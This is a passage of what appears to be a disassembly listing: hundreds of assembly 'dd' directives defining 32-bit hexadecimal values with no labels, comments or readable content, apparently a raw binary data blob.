		dd 0E0CF93B2h, 0EF016C64h, 94B0AEF6h, 43EAC3C8h, 0D4C9805Dh
		dd 0AD1B00DFh, 0FCB4ED64h, 720F07D1h, 42532EA2h, 40979430h
		dd 3FFE910Ch, 486023C3h, 0DC67DF15h, 26AFD300h,	42F406AAh
		dd 934800F5h, 1D6E41A4h, 0DA00DD83h, 0D7208901h, 0FEC56224h
		dd 0B3400ACh, 0F9C9748Dh, 10008609h, 54A3CEB0h,	7EF42DCh
		dd 5BFFF053h, 4E80EE92h, 50EE6ECDh, 0AED09039h,	42002019h
		dd 0E9BF5227h, 0B3DB0078h, 766BC51Ah, 0FD00E70Dh, 3A89C298h
		dd 46D639h, 0CEB4DFE5h,	8BB9B82Ch, 62498400h, 0EC63030Ch
		dd 0D25B1C47h, 9072C023h, 2401A273h, 0EDA3DA00h, 518AC55h
		dd 7C2100A5h, 0B4043E4Dh, 5D00F1EBh, 0E70F23F0h, 98195B75h
		dd 0DD060038h, 1A32D324h, 643DE930h, 0D712FACDh, 3D002C5Eh
		dd 491E0BEAh, 51DF1289h, 2DBE00CCh, 0D044C335h,	69D438C0h
		dd 0F2C62Eh, 977A8428h,	228E3315h, 5A92130Fh, 805B2B6Dh
		dd 0D1BA0386h, 0FBF60071h, 8055564Bh, 0DE002C9Fh, 84F4DC40h
		dd 0D04A5Fh, 9BAD5D43h,	0A8CF6AB7h, 6F8E9A00h, 673F72E3h
		dd 7F82B7CAh, 0BF80168Fh, 0E875A473h, 2100B598h, 2003D257h
		dd 0E0C54A88h, 0E0A701D0h, 535DEF17h, 0FAF7432Bh, 0D9549498h
		dd 0F31C6FEEh, 0B6007B27h, 5B01FC59h, 0B55C077Ah, 508F04C8h
		dd 0ACCE4CA1h, 27540A00h, 9261C79h, 0D7D00A8h, 2E19BEDAh
		dd 0C50046B1h, 69E085C8h, 3361E2h, 149BE86Dh, 0D96751D1h
		dd 719E626h, 6E22C400h,	0B0663Fh, 3BDFD764h, 0C15E361h
		dd 4D32E200h, 0FAB0A08h, 8A7D14h, 0DFC5D597h, 26572999h
		dd 0BC13B01Fh, 0BA47E180h, 1D5B2287h, 80FFFAF8h, 124DBB68h
		dd 3500F3E4h, 295E2524h, 0F1992E1h, 0FC079F89h,	0ADE90AA0h
		dd 0A4009690h, 698D6A02h, 5DFA51h, 4C335FA6h, 67364B1Ah
		dd 2FC740EFh, 37EA5B4Fh, 7E9E5D00h, 0F14B8A54h,	71E20080h
		dd 3BCB1307h, 0BB1ED385h, 88C03DEEh, 1A7AD7C8h,	8B9C31B3h
		dd 0F074AF10h, 0A4002B27h, 2A7BDB4Dh, 72DA3204h, 71DF00F5h
		dd 249EAB37h, 630090CAh, 8AC9B9D5h, 0E112E8Fh, 23462643h
		dd 60686187h, 0A5EAD544h, 0AAC82400h, 0A7ABC4CEh, 6B75066Fh
		dd 709A0FD9h, 7E2E0C73h, 0D105787Dh, 88803853h,	0F6E00178h
		dd 0F03D0306h, 299AAB88h, 0E0CFD0A3h, 7028DD67h, 0AF935C01h
		dd 6CB12DA5h, 597C80D6h, 3F74CD0h, 39A256E5h, 6C8871D5h
		dd 0FD3FA036h, 3322803Bh, 0C5FEB4BFh, 0AC521EA9h, 6D3084C9h
		dd 8A00BB93h, 0D1A3B9E3h, 0F4290046h, 9AC9014Eh, 110E5C41h
		dd 52280ACCh, 2C343500h, 0E574ECh, 0EA563DB6h, 0F04FF96Ch
		dd 7FAC1803h, 0D0319DAAh, 162483Eh, 0A14A280h, 0E24B8813h
		dd 0F18604B7h, 0F0EC28h, 67D14325h, 526596E4h, 0FC006677h
		dd 6B9BE5CDh, 0E357092h, 7833A241h, 5CC2DB0Fh, 48604963h
		dd 4F000C2Eh, 0A7EDB208h, 942DC7h, 0B58F968h, 0E86A4A1Ah
		dd 0B9FCF3B8h, 0D4CA6E00h, 0FE99AF12h, 0A9370742h, 2034604Fh
		dd 52CB49E7h, 8754CE00h, 0D302EC3h, 0CD313EF9h,	64FBAE07h
		dd 0E01377C4h, 97F604E3h, 361C5198h, 0BDC17A94h, 0F181C9FBh
		dd 6E77560h, 0FF914133h, 6A006058h, 0BE758780h,	69A22D1h
		dd 0C7835B88h, 9324D013h, 85050EBDh, 0BB01C297h, 0A25BA417h
		dd 4CDA98C0h, 901CC47Ah, 10CC804Fh, 4BB5F7F1h, 7ED1670Eh
		dd 59EE80CBh, 0E0794h, 0FBF1461h, 877BD406h, 0A7467900h
		dd 2836DE1Dh, 44E400FBh, 0ED700E9Ah, 5C006EBEh,	45D56CE3h
		dd 7BE2AD1Fh, 0F078959Dh, 61C64200h, 11312E6Bh,	13FC00ACh
		dd 5BA53641h, 690115E0h, 0C6C4880Dh, 74DCE38Eh,	0CD7F0785h
		dd 0C0B331A2h, 0D729F11Dh, 0C00A5E8h, 0BFE76F44h, 5E406h
		dd 0C12A3366h, 0BE2996BCh
		dd 53C6DD12h, 0FEAC3000h, 0CBA35Ah, 204AB6C3h, 0B4EB2440h
		dd 0A81F6B01h, 6A8231A5h, 7E9424h, 8C05A219h, 90947134h
		dd 5A00E077h, 9F93630Bh, 727C418h, 74DF6CA1h, 431F0B6h
		dd 230E9A2Dh, 0A7B1A833h, 67704D6Ah, 0A380B7h, 5AD01BC5h
		dd 0F8A45F2Fh, 187C49h,	97F47DBBh, 1109E8h, 3CD1DA47h
		dd 788C105h, 0CF440A00h, 0E006B4B5h, 98650071h,	54AC2D81h
		dd 9B01C9C5h, 0A057C7F8h, 7A604E22h, 11B10008h,	66A35D01h
		dd 6E0017D7h, 6F079834h, 0AF5F891h, 0C259067Fh,	5FCE0F90h
		dd 0A1D000D6h, 0B2479D25h, 7378E503h, 0AFE8880Fh, 8CA0A32Fh
		dd 6189E80Bh, 2538003Ah, 0CD3FB5CCh, 6B011599h,	8DBC0FA9h
		dd 0DC0739Eh, 9CF903D4h, 0EF8768EEh, 193F3CD0h,	0BE3AC01h
		dd 16EA5BCFh, 0E27EF8h,	488613C4h, 6A211972h, 0ED1FAA03h
		dd 90C6A649h, 5C9569A9h, 0D02A3C8Ch, 247800E4h,	0F0E7EE9Dh
		dd 440073B9h, 72DC2B51h, 0B8B782h, 0ECAC7C71h, 8C965C92h
		dd 4E73C524h, 34613700h, 9CDFE8h, 0B4F793D1h, 8E3EC71Bh
		dd 0F88C9800h, 1FFB3778h, 9BFF0040h, 7358AD65h,	0B200DAC7h
		dd 46C9714h, 0E87FD1Dh,	3E9C300Ch, 0C015F124h, 0D4CE023Ch
		dd 94756F7Bh, 330077E4h, 6941E255h, 5449D2h, 0D13D2E73h
		dd 5B76134Eh, 0E9B6200h, 520411D8h, 372000E8h, 0C384E49Fh
		dd 0E20EBA38h, 0C083A51Eh, 6A50D695h, 1F60716Bh, 80DCFD73h
		dd 987FF1A0h, 30010A6h,	6B88840Dh, 0E8D499h, 2335365Fh
		dd 3E92B10Ch, 20B40900h, 0DDE9FFA5h, 0FE6F00B2h, 9524869Fh
		dd 0D90033CEh, 35812FC0h, 3BE011h, 777C3E6Fh, 57BDAEA7h
		dd 6DC48D00h, 0DBA6EE32h, 87AC00F5h, 64916139h,	0B0E2374Ah
		dd 0AF437600h, 0C46529BEh, 0F0210077h, 838968A8h, 0DD1CDC8Bh
		dd 4C069B4h, 88C6BAF4h,	86A8007Bh, 0B71BC17Fh, 750E477Eh
		dd 0D40412B3h, 0F1C803C2h, 0B82343C9h, 909AAA78h, 38810F00h
		dd 0C0802212h, 0ECA3FB1Bh, 7D31E800h, 66BB8399h, 2349016Ah
		dd 38960F27h, 75AA60F6h, 69DD7C05h, 11808478h, 9CB8762h
		dd 523ECAA9h, 0C691FD80h, 5AF0FE48h, 1104D000h,	64CE7CE6h
		dd 0D59E07A4h, 7105C735h, 0C416928Ah, 3701BE94h, 286378DEh
		dd 27D43EB6h, 73A600D7h, 0FE3C8610h, 66003B0Bh,	4FF24014h
		dd 1A71A59h, 1D531EC0h,	7024C70Fh, 0EF00ED88h, 629B7254h
		dd 6075C8h, 89DD9CB4h, 61284187h, 730036F0h, 9BD1EBBBh
		dd 0EE234Ch, 0F397E374h, 371766FFh, 31C66D00h, 0F50B8FECh
		dd 21C326B6h, 0E6D00030h, 90F8786h, 2FB46200h, 40F51D52h
		dd 0CFF10020h, 5BB7A750h, 3D063B1Eh, 2104C74Ch,	0F1FC98h
		dd 557E2331h, 1A32D686h, 1BC72817h, 0CE5B7207h,	39460710h
		dd 0D7E80096h, 97679481h, 0A01C9E05h, 0A740F33Eh, 4B9C1E82h
		dd 0B94700F5h, 6B9A7B5Dh, 0FB0016EDh, 1C1725D3h, 89B665h
		dd 30740E08h, 0DD642DBBh, 14F47700h, 0C38AE61Bh, 0DED00242h
		dd 5587CACFh, 99888963h, 8D0B699Eh, 56A80Fh, 6D5F1160h
		dd 4A5D3D62h, 673B0280h, 8C84ABB3h, 0C2A6D200h,	0AA7569D4h
		dd 53E001C7h, 6167BF56h, 7DF42010h, 6321BD00h, 0A343ADE2h
		dd 0D5120007h, 0E88EDE74h, 700AC246h, 8CDD5EB6h, 8702847h
		dd 3D77FA17h, 0A58EA009h, 2640F347h, 613D66Dh, 0C91BB801h
		dd 3F50CBB3h, 908A92E4h, 0A4711CC0h, 0F585CE08h, 286C5E0h
		dd 66009A46h, 56488731h, 82F38Bh, 0E49245BEh, 38AC5F72h
		dd 52F6803h, 0E8D30299h, 12E56Ch, 0F8334974h, 4F6E0414h
		dd 84E37500h, 0D45297F3h, 26F88Eh, 55B84269h, 317C6CBDh
		dd 9362121Fh, 0C1FD02C5h, 0AE658900h, 0E00BE1BCh, 0B5B0C4h
		dd 4838CADFh, 0DC57505Ah, 92B97F1Dh, 0C02C1100h, 37DF8Ah
		dd 67255E5Fh, 91300AE9h, 8C7D4D00h, 9FDE4249h, 0EAFE52h
		dd 0D86453D6h, 0DD363CF1h, 37CF6016h, 8B491B07h, 1D98EE0h
		dd 0E6593AB3h, 0DC6B8C80h, 0CCA7797Ah, 0EE206D01h, 1A2C6CADh
		dd 0C5DDE30h, 0DF88E5D0h, 0F71FC260h, 0B800CF29h, 74B7C5A1h
		dd 0FC83004Fh, 378E45B6h, 2C58C6DCh, 0AD7900ABh, 0CA145DA5h
		dd 0BEA00F2Bh, 0CC605F4Fh, 0F33821ABh, 8958FC18h, 0E81EDE20h
		dd 48BF01FAh, 5D4CE35Eh, 8330B8A4h, 0E13C4BA6h,	0E8D000C9h
		dd 0F2ADB360h, 0E7147892h, 3C1424h, 0A6B60F12h,	808BA5ABh
		dd 0D5F54BEEh, 552850D7h, 0FC001BCFh, 8A670DF0h, 33BC9Bh
		dd 73879CE7h, 0B79AF1FBh, 65383Ah, 6FAB2A0Ah, 0F1A47C5h
		dd 5B0C4695h, 0C08140C7h, 706C66A8h, 0D25F5100h, 15C0AFDFh
		dd 682D00ECh, 9BF7A139h, 4E00F36Eh, 0FDC8E27Fh,	3B61938h
		dd 35CF20D8h, 4A3321Eh,	152B53E0h, 59007D79h, 9A5B0AD9h
		dd 6C94B3h, 0BE35C8ECh,	0A4013A47h, 82108B00h, 0B5CBBB36h
		dd 2D4C1D2Fh, 9A81C02Ch, 4758A1E6h, 0C41CB77Ch,	39009996h
		dd 8FC80C9Eh, 9D430050h, 15FE4A77h, 88A095E1h, 3600E2DDh
		dd 52797863h, 69EFB9h, 0CB8A08E3h, 0EA26753Eh, 6B68D200h
		dd 3FF5F967h, 78DCE970h, 0E1DB82Fh, 3BA28C69h, 738960A0h
		dd 0D900FCABh, 0AD2E3D7Dh, 0F6C7D3h, 80BC8E6h, 0ACA8B96Eh
		dd 1AF43B00h, 0D99E777Eh, 0D8E8005Fh, 0EBBD27C2h, 0CA90A387h
		dd 0AC0F002h, 41AEAAC5h, 83D4D3A5h, 0A8690188h,	0E4F6E0F8h
		dd 4E50806Fh, 0D39403Bh, 2DD80736h, 0C0A0ABF3h,	19690A6Ah
		dd 57DC4106h, 3980D585h, 20602D88h, 0DA236D14h,	0C0A11007h
		dd 6E0040DEh, 258EBBEh,	78EF4833h, 11006F86h, 55DDA7h
		dd 0C884F208h, 1923214Dh, 475D7B00h, 0CE030BA6h, 8A50480Dh
		dd 0CADCC400h, 8D6BCD20h, 30D0A40Bh, 0F3130076h, 254BB77h
		dd 0DBF741F0h, 0C860E1D8h, 0B8008FA5h, 0E79F7911h, 0E0DC9Bh
		dd 1D51D465h, 44EC50E8h, 0FB3E2801h, 46F7DB99h,	0A243ECh
		dd 9AE3964Ah, 95788BE2h, 0F68004ADh, 0F575B3C2h, 591F0087h
		dd 0DD773467h, 8A07D76Ch, 0ADE7155h, 57A5F9C7h,	0E3641C00h
		dd 0E0A23F25h, 7757DD0h, 0E4354189h, 5B38B008h,	0AB00BA40h
		dd 3EF7CED7h, 60F33D11h, 0FEC24072h, 46006C05h,	4C74C801h
		dd 30751BF6h, 6820923Fh, 9D060AA0h, 7755D8FBh, 875B263Ah
		dd 2013F2h, 89319706h, 651D80D9h, 99B07D83h, 2D5F0ABh
		dd 0C39BE57Fh, 0EE637074h, 5C7187A0h, 1895E300h, 0C92CD5A4h
		dd 0FA2D1D3Fh, 373EC08h, 0D6DB1E71h, 0D71D4809h, 59E0800Ah
		dd 0FA3B76CFh, 757D056Dh, 2667613Ch, 83054E38h,	6BD47BE5h
		dd 89843808h, 0BD802911h, 0D9D7CDECh, 0D02E2F6h, 0D480AEEBh
		dd 79C083E7h, 9DBD880Bh, 0E8E00093h, 0F3FDA29Ch, 0F4007AD8h
		dd 0A9E2971Dh, 0FB64B2h, 9DB4DBAFh, 0A8294CD9h,	0BF783F0Ah
		dd 680884DDh, 0D57B6064h, 1A21B604h, 4CA0CEh, 4AD6C4BAh
		dd 7FDFB4F8h, 6889A50Fh, 0B2BE6760h, 2629D5E0h,	5971078Ah
		dd 1182229Eh, 83D6DD05h, 62FF2D71h, 0F5C000E3h,	3C24CF97h
		dd 0BB0E5643h, 8C1AA04Fh, 942172h, 409DCC8Fh, 25012E1Bh
		dd 0A5B85800h, 0CB56D703h, 341795Eh, 0FDA3D5ADh, 39005095h
		dd 61F52532h, 0A0FB04C5h, 49AF3088h, 58004076h,	0DF01B82Fh
		dd 320EB964h, 92BA1E04h, 6CF97C20h, 106D00DCh, 7DD0B590h
		dd 3F0170FBh, 0FDA5D1F0h, 0E0EA863Ah, 12BEF741h, 304E9A84h
		dd 8B40BA50h, 7921423Bh, 3D900084h, 0EB1C970Bh,	20020352h
		dd 7AE7C64Dh, 2BD4A7FAh, 1200B0DAh, 5EBB4F0Ch, 23760157h
		dd 1B2770F1h, 4CD8E871h
		dd 0DA04BA03h, 0F870E5Ch, 0A2359AD1h, 55FD6818h, 98BE6804h
		dd 708B3BC7h, 91C08488h, 0E64107EAh, 82C60042h,	0DAD2B785h
		dd 0F0C30B2Eh, 0C01396FAh, 0A2C0E443h, 1A209DC4h, 20A0E948h
		dd 0D964C43h, 0F908040Bh, 2563012Bh, 2430FF70h,	4F243DD4h
		dd 31F48E85h, 10E02F7Ch, 0E7C79C50h, 0B54463C6h, 285ED0BFh
		dd 68003BAFh, 0D705334Ah, 62A03Dh, 0C47F26F6h, 568884A3h
		dd 443BE4A6h, 11461405h, 80E442ACh, 0F91537A2h,	25EA00A3h
		dd 0FC3FB439h, 3A00E472h, 0DFF0B6A0h, 12DACE89h, 0D74415h
		dd 6E41DC50h, 0BD48E48Bh, 0D8FE021Ch, 80715D83h, 0A4B8366Ch
		dd 305C12DCh, 0CA4C2833h, 4DB75F00h, 280C52D3h,	0E58400FAh
		dd 49921694h, 6F5582E3h, 74B820A0h, 1B423E7h, 223DCFE2h
		dd 0AC0C056Eh, 5C7BE640h, 8C03778Dh, 6FBF0629h,	75B13893h
		dd 2301F44Fh, 80175E39h, 0C870CC96h, 0A9D6FFh, 0D7836B1h
		dd 0D213B33Eh, 8DD140Ah, 0E013A0D9h, 4375DC2Fh,	2BD6008Ch
		dd 2549A1F0h, 0F18B1FCh, 803DB89Bh, 52CACC6Fh, 1E009764h
		dd 864AD48Ah, 6A41DD0h,	0B53D189Ch, 3490D06Ah, 634C4110h
		dd 90CFF381h, 0C70E138h, 10E2407Bh, 63C95A00h, 0F62D44E7h
		dd 7EAF0B9h, 4A97436Eh,	0B8A019D6h, 59C73038h, 49DA3300h
		dd 8E997D7Ch, 2A6A2E5Bh, 9E2B0067h, 0E3D5F46Ch,	0D1838802h
		dd 0A7B79452h, 4BB2DAE0h, 4F1AE014h, 73DD001Eh,	72D18234h
		dd 35000E0Dh, 0D38545F9h, 1CB5E617h, 81069975h,	0CBACB75Eh
		dd 4800E361h, 52131DF1h, 4FDBD49h, 4A4BFC6Dh, 8048CAE1h
		dd 14F1FE55h, 4CFA00AEh, 0C21C9E5Dh, 0A013E509h, 0B0FE4B1h
		dd 0F84D4E4Bh, 7CF51Eh,	43AE7A0Fh, 903119AAh, 0D6917D00h
		dd 0E23E8D93h, 618F0029h, 2B40CC59h, 73B00B4Eh,	835E8A00h
		dd 88E8924Ch, 0F7BF6AAh, 0C1B7EE3Dh, 0D54E7420h, 0D5E93945h
		dd 1A208096h, 0FAFEEB35h, 1F30F06Bh, 0F58D3Ch, 835D861Bh
		dd 916398DCh, 0B0826810h, 2827EBEEh, 73680138h,	4320C070h
		dd 2640D374h, 83CAF93Eh, 5EE7E23Ah, 0EC68008Dh,	867639F5h
		dd 0E81FDBA3h, 57C12C1Bh, 8BBE558h, 0E6D088E1h,	0A35000F3h
		dd 962B60BDh, 1900B06Eh, 0F4321CEh, 0A04235EAh,	0C15088h
		dd 865565D5h, 0D761367Ch, 6674CD30h, 302A701Ah,	2278FA95h
		dd 61C0BE34h, 91F1153Ch, 0FFB53185h, 875DFB28h,	11D5BEA1h
		dd 0B07C8A73h, 1EE959B3h, 855B72h, 0F53B27C3h, 6214A7E7h
		dd 8890A8DDh, 9DC6C0DFh, 855147BAh, 6790088Ch, 0DFAB40h
		dd 1E60A857h, 1731FDCCh, 0C36E9306h, 7C20A790h,	194F1C62h
		dd 2BC7C0E9h, 529F3EBDh, 9EB29100h, 52D1EBFh, 30F16048h
		dd 78CF652Ch, 77F42050h, 2B08D660h, 1D565AF9h, 7A06255Dh
		dd 7ECA6100h, 3BFBD649h, 78E7EA00h, 20F61AB1h, 0F2C0192Fh
		dd 0C8E6A9D9h, 0C005E93h, 5CB27397h, 0E1BC4151h, 0A21B9040h
		dd 361A0131h, 0ECCEE634h, 88845022h, 5B0037CAh,	5A0E0429h
		dd 18188F11h, 21D51A7Bh, 5B0EBC30h, 0E14FEF54h,	1CF285BAh
		dd 5A6EB08Ah, 3EA183C0h, 8AB89E54h, 3838CB5Ch, 5E868319h
		dd 0F09CE58h, 0AEBAA48h, 5E726646h, 0A397510Eh,	1ECC865Fh
		dd 0E9B60020h, 1C41C75Ch, 0C300C92Fh, 556AFF85h, 247EE5B3h
		dd 0C0AC42DCh, 23E16F59h, 70223330h, 12C05FA9h,	51D6D34h
		dd 37DD7A44h, 0ECC21EF0h, 804C77EBh, 35F01954h,	890010B0h
		dd 0C4072B3Eh, 260AC013h, 1F5BA32Eh, 3092C3E8h,	80CA513Bh
		dd 3562AC45h, 0A014625Ch, 0B63626ACh, 77B01BDh,	4D9BEC3Eh
		dd 51F9FC65h, 5FE5771Eh, 5D840B81h, 4FDCA1BAh, 4BD9168Bh
		dd 9707EEF6h, 0BC466F9Eh, 4D60021h, 0B192A08Ah,	30605851h
		dd 6B1A2D19h, 2B24A80Dh, 4BE5088Ah, 3A58FF56h, 72810723h
		dd 87C697D6h, 0C3F7C0BFh, 32B0D5B1h, 0B6DD4100h, 427CA22Ah
		dd 1F0D01B5h, 1A37EF79h, 10E88F96h, 0FE9C60A3h,	0E488B3h
		dd 0B8311882h, 4A921163h, 38F2F02h, 0C001716Dh,	0F10BBFAh
		dd 61453C35h, 4EFDC7E0h, 1600196Eh, 6B32EF78h, 0A9DE1ADh
		dd 65A677FEh, 98A818F4h, 0B100DC9Ah, 6CDA194Ch,	74271B7Bh
		dd 0AE23306Fh, 0B1BA3C20h, 5018EF00h, 0EB1A6D2Fh, 0BD243076h
		dd 0A4801ED8h, 9F1D333Bh, 0B2D5B363h, 0AE41098h, 228B52C0h
		dd 6F4305AEh, 757EBB22h, 0A1B88128h, 14253A03h,	0B1EF864Eh
		dd 39C88965h, 0E38C0083h, 7491E228h, 0C30063BCh, 4E44C17Eh
		dd 1C236B0h, 2F47439Eh,	0F9B1345Eh, 0C574C807h,	2BD97806h
		dd 1E3872BCh, 281F96FFh, 4CFD0060h, 18BB106Dh, 7007CF47h
		dd 523D504Fh, 7BED5160h, 9A79FAh, 0DAFF08A2h, 0C82EFEA5h
		dd 0BD3C2103h, 0D277CAh, 82C51728h, 0ED53438h, 1BB54003h
		dd 167AE7B7h, 7ECD48h, 16AA5632h, 33A5C30h, 21E8301Ch
		dd 63A3670h, 0DB08AD7Fh, 3C003AA9h, 0BBC857B2h,	0CCAF5h
		dd 0A3CBA468h, 3D0452A5h, 0ED705E00h, 93CFAF7Ah, 74050318h
		dd 0DBBE581Dh, 57370818h, 0B8C39C20h, 6C7001EAh, 9DC095A1h
		dd 22798038h, 3C45DBF1h, 529737A3h, 5DBEC030h, 2406ABBFh
		dd 0FE4A83E8h, 7E7100A9h, 5F2A4BDEh, 21C03689h,	79DF04F9h
		dd 32B934CFh, 0B958059h, 6E1E643Eh, 400FF63h, 0EE862B3h
		dd 0B47C183Ch, 0D5B960C0h, 5FE0FAF9h, 81CE6FE7h, 0C0AA9C89h
		dd 860D1D06h, 30BEDCh, 0CAA3E127h, 1BE3B753h, 307C12ECh
		dd 57789206h, 0B88DC8Ah, 0C4D47F0Eh, 0E04EAF00h, 11C141BDh
		dd 0A2BFF205h, 70C1BBF1h, 58E04DC0h, 0AB069CDBh, 7888A5A4h
		dd 124D853h, 353A641h, 82CEB2FAh, 25E3B1Ch, 189BDAE4h
		dd 2E676811h, 5699BC4h,	3071DA84h, 0FB1C062Bh, 4204A240h
		dd 0FB10D6DBh, 4C5BC130h, 30A3AA98h, 0CD138430h, 4BB61FBh
		dd 60843094h, 86797A1h,	0CCB8A9A5h, 2B64AAECh, 0E307A21h
		dd 6051C1EBh, 99047B31h, 894403AAh, 0F6B1CCBAh,	82144114h
		dd 2378E6B4h, 0DB8A260Fh, 0B11CCC16h, 0DC9138B1h, 72CC705Dh
		dd 2940A4F8h, 0EC88823Bh, 2E473768h, 61669B19h,	0C4A880F7h
		dd 31CC84D5h, 319D784Bh, 29197324h, 8444E8Bh, 0C3FA07C3h
		dd 0CFE0F9FBh, 86494011h, 1C3FA118h, 485B484Ch,	6410707Ah
		dd 1071F68Ch, 0C0B99F03h, 0CE8119BBh, 0E45248B1h, 0F49AA415h
		dd 0F1D02E31h, 0B1088CE4h, 49A41829h, 1A284C68h, 0DED12A80h
		dd 0A75B0034h, 8528035Ah, 9F00CC44h, 0C596728Ch, 7809BA36h
		dd 4F921FA8h, 0AA34F0Dh, 64B5A900h, 0B700A6A2h,	58BA5576h
		dd 68B6541h, 16C51553h,	0C1C2851h, 0BFC02756h, 2CAA54DAh
		dd 0EC08C14Fh, 0F00D4923h, 0A92B58C2h, 7B002C4Ch, 65374982h
		dd 166424Bh, 0A813ADF6h, 5F00A04Ch, 9FE82507h, 1024F833h
		dd 1FA80F77h, 0DF862802h, 0EBF02863h, 2CA9520Ch, 578C087Ch
		dd 850864A1h, 0D6C15B63h, 6098218Eh, 428CB83Ch,	56B979C0h
		dd 3C8ADF0Dh, 98A9A95Bh, 1E748128h, 87B858C5h, 0AD675111h
		dd 141CE4E3h, 4472C6C8h, 0B861E5A0h, 81476631h,	0BFD5D3C3h
		dd 81A1458h, 51699677h,	7020B61Eh, 2916FEDFh, 87189DFFh
		dd 34242038h, 0C096064Eh, 0C9A03C59h, 0E20318D7h, 0AFD6B69Ah
		dd 4276B004h, 8B16BFh, 50985E3Bh, 0AF56D9DFh, 0E18114A5h
		dd 0DDCC1751h, 0D5873600h, 981F1511h, 511E99C0h, 24925452h
		dd 0D3D9506h, 8E086D3Fh, 15389054h, 0ACE0EAB1h,	1403F914h
		dd 23F701A7h, 0D6A98689h, 43580765h, 2AD1C055h,	0A88BB032h
		dd 90086FB0h, 2E542880h
		dd 0B7931FCh, 4EE882E8h, 583102B8h, 40767130h, 79E1249h
		dd 3FD88761h, 21C34F62h, 4AC07C9Fh, 18007D41h, 252A6C90h
		dd 32FFEC6h, 4441A22h, 4048782Bh, 7C37009Ah, 87905C98h
		dd 2DE23C38h, 1CEBF814h, 9A10B6C0h, 0D28075DDh,	879F08ACh
		dd 580AB1F8h, 1060188Dh, 404408BAh, 7462B260h, 3894D828h
		dd 8010495Ch, 92148F3Eh, 0D8C3108Eh, 0C7B0367Eh, 72374F76h
		dd 0FEBFB066h, 5460B8F4h, 30FFA8ADh, 5230CEC0h,	7C2B1E1Bh
		dd 84032C78h, 0A86EFB1h, 9ED932D1h, 79845050h, 2912EC37h
		dd 94230F42h, 4BED0828h, 0F28C5EDDh, 558788Ch, 0A1A261F8h
		dd 0F51830E6h, 0A454E4C0h, 4300D2C4h, 8B682A46h, 6282161h
		dd 48225AE1h, 7CF808DEh, 202B593Ch, 0C1559058h,	6D7D0808h
		dd 9F2FF12Ah, 6B5E6860h, 935B339h, 28181980h, 0C7080883h
		dd 4FC8301Bh, 28ECE770h, 81E87488h, 0A81884AFh,	0D20FB393h
		dd 0AC663838h, 87DE80C0h, 480BB886h, 800030B3h,	0C8E82AB1h
		dd 483129E0h, 386810DAh, 0CF88389Fh, 95EC2BBCh,	206F4810h
		dd 0C5C0820h, 9E41B5A8h, 0B8D8A083h, 60583186h,	8FBC3868h
		dd 9FAACB51h, 80A96DCCh, 50D26058h, 8B1E9C5Ch, 0D08DCE03h
		dd 208ED8C4h, 0A4104308h, 32308086h, 71D74410h,	91EA84F8h
		dd 8145DD0Ch, 78FB08A9h, 5DE50290h, 1585DCD8h, 0AF946501h
		dd 0ABD1208Eh, 0F5C109Eh, 83AA20A5h, 196BBC5h, 0CFE34818h
		dd 0D0FA5D24h, 8C33284h, 31F98864h, 44203C18h, 1908BE0Dh
		dd 5918ECAEh, 0EAC90F05h, 1887A48Fh, 0E58083D0h, 44BD2000h
		dd 0D61D3EDCh, 7E3F00E9h, 0D07A78C5h, 0CF76014Fh, 25DC5E01h
		dd 0B5389F59h, 0F09875E5h, 2264F8CAh, 931CA9C7h, 0F69B0543h
		dd 0F0D732D0h, 4403ED88h, 630878BCh, 90E48825h,	0E9FA1110h
		dd 0C5A14032h, 94054898h, 2198C300h, 26AF014Eh,	0E5DC077Bh
		dd 43DB322Dh, 0A03241F7h, 0B04508F6h, 39929C68h, 406188F3h
		dd 9031F08Fh, 6511F830h, 52BBC1CAh, 8050FA87h, 18422C6Fh
		dd 28FCC5DCh, 88A0F285h, 83004D65h, 0B72CD538h,	0DF39A5DDh
		dd 81230A08h, 86EC0C94h, 9A78D118h, 304A5530h, 0C68DD415h
		dd 588CDBA8h, 1886D233h, 55080FCEh, 3505858Ah, 24B81E5Eh
		dd 19371ED9h, 863F399Ah, 86161518h, 0B8E03140h,	88894390h
		dd 18878208h, 0E4D528EBh, 0D6415C92h, 0E047CDDDh, 12C8E687h
		dd 0E5380465h, 0AA5091F9h, 73108C5Ch, 632CD097h, 95B41894h
		dd 3B685C1h, 4C81F405h,	8BE93C5h, 0A07FF045h, 0CF2825FCh
		dd 666F8088h, 929A8410h, 1FC40C83h, 0B12F8508h,	1A3E820h
		dd 1891A4A8h, 0BBCE1944h, 18886E08h, 0E50C5305h, 636530A8h
		dd 0BE9C39C2h, 80A7030h, 0CEBC4A45h, 37905438h,	6ACF0865h
		dd 8225AC9Dh, 8E0AF532h, 19F98C90h, 24409058h, 44C7684h
		dd 81FF0AC4h, 20E83B48h, 0E1481450h, 18CA31A4h,	0A4031364h
		dd 44C481DCh, 0C408889Ch, 0EB840CC1h, 30910448h, 5A7F9A40h
		dd 14689290h, 0EC454B4Fh, 1E1CD126h, 0F4C868A4h, 0EEAA4169h
		dd 0E158C4A2h, 8602D847h, 235620D4h, 50144C2Fh,	19E4BB85h
		dd 44D87FC5h, 1F6E1C58h, 0A0C3D308h, 0F4F10F24h, 441092h
		dd 14C774B9h, 55363B10h, 6A09C301h, 98C13979h, 0A595D068h
		dd 0B535F108h, 3B023E92h, 3075361Ch, 541F3924h,	0FBC040C9h
		dd 0D1378198h, 48AAEF80h, 2B2400BDh, 9C29998h, 65A4208Eh
		dd 5C90F574h, 0C98EC4Ch, 583CDAA5h, 293D7414h, 8130BE95h
		dd 0F006BA31h, 0CFB44107h, 5AE1921Eh, 0E118D41Dh, 48133560h
		dd 0B6249488h, 85FF8DC8h, 13F6120h, 92824FC4h, 0C4475420h
		dd 94F8C7Eh, 0C5D881F5h, 309AAEDEh, 0AA4298B2h,	1A09DC0Fh
		dd 969C88A3h, 0D4ED1026h, 22F6409h, 1CCA410h, 92EB94C4h
		dd 0C8008308h, 3603A184h, 68C75315h, 0ACCF7C02h, 0AF02068Dh
		dd 0A3FB00C9h, 6B1D945Bh, 0B074609h, 2B835D62h,	0AB080049h
		dd 0DBF05ACAh, 1BE854AFh, 0F170E607h, 0FCC0CEBBh, 0C74EBCBAh
		dd 85B91F10h, 95D9807Ah, 0A90602ABh, 29FE8B9Ah,	1F030010h
		dd 89E260F0h, 300061E6h, 0DB4809CFh, 531CD11h, 0BBF0078Bh
		dd 0F114301Eh, 3D459E12h, 1B7C8h, 45D95BF0h, 560FCB94h
		dd 5931A0C7h, 4E1AFBC3h, 3CFFF8B8h, 727E1DF1h, 7568DB07h
		dd 762E3B81h, 0A5D7BF0h, 184B9ADEh, 138D6138h, 7123CE40h
